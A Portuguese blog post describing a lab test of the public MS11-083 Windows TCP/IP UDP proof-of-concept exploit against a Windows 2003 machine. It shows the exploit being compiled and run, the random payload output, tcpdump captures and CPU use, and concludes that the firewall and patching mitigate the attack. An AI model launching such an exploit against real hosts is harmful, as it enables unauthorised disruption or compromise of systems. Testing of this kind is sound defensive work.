Informado pela sans..

An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a closed port. Permission for the attacker are at kernel level.

Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação.

A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.

No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU’s que será atacado.

O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .

 

Compilando….

debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083

debian:~/2003# ./MS11-083
[+] MS11-083 DoS/PoC exploit
[!] Usage : ./MS11-083 <server> <port>

 

No Windows.. tudo sobre controle..

 

Antes do Ataque

Antes do Ataque

 

 

Começamos o ataque…

debian:~/2003# ./MS11-083 192.168.10.131 1000
[+] MS11-083 DoS/PoC exploit
[-] Sending payload ‘ZSW”<kc’ULJ=VK%XE-cP0*%(‘bORT=”;D”[c=S'
[-] Thread number 0 started
[-] Sending payload ’60&a;%=^,7FKMc[D=J>90J6Y7DR]*PC<&8′.%) ‘
[-] Thread number 1 started
[-] Sending payload ‘dCJe-f+65f9@NJhH-c”!?XU% (7#TDOhjIa+`=_)’
[-] Thread number 2 started
[-] Sending payload ‘/;.S”0:#dd=kSACiD=S!OLO#V/ZLP<]L`?,/D$’
[-] Thread number 3 started
[-] Sending payload ‘”S.Q]=JOT” (8%O)-4bF+NeN I@**A<.Di/RV\5>’
[-] Thread number 4 started
[-] Sending payload ‘Ag0BMF”FF[ aB]*9*UQi<2H!8X&LieC>`U1AKQ7B’
[-] Thread number 5 started
[-] Sending payload ‘,=aTOe9-]”A&,B-;:b,f0<@BVX#VbM’WQD;K_f’
[-] Thread number 6 started
[-] Sending payload ‘AH2M R!h\+#H>e.VD-bDI;1″JJ’ JeQG6Sg2C’
[-] Thread number 7 started
[-] Sending payload ‘*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&0h)kiQ'
[-] Thread number 8 started

 

Em questão de segundos veremos o gráfico de performace do Windows..

Após o ataque

Após o ataque

Em outro console temos a saída do tcpdump

debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
23:47:47.221788 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221846 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221850 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221853 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221856 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.

 

Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
3541 root         20   0  273m    976  484   S  97.2     0.2           0:16.40 MS11-083

 

No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee… o firewall estivesse desabilitado….

Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos…

 

Firewalled

Firewalled

 

Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.

Mais informações sobre o Bug: http://technet.microsoft.com/en-us/security/bulletin/ms11-083

Resumindo, sempre firewall ativado e sistema atualizado!

Outro exploit e mais infos pode ser encontrado também em: http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture

 

[]‘s

Sergito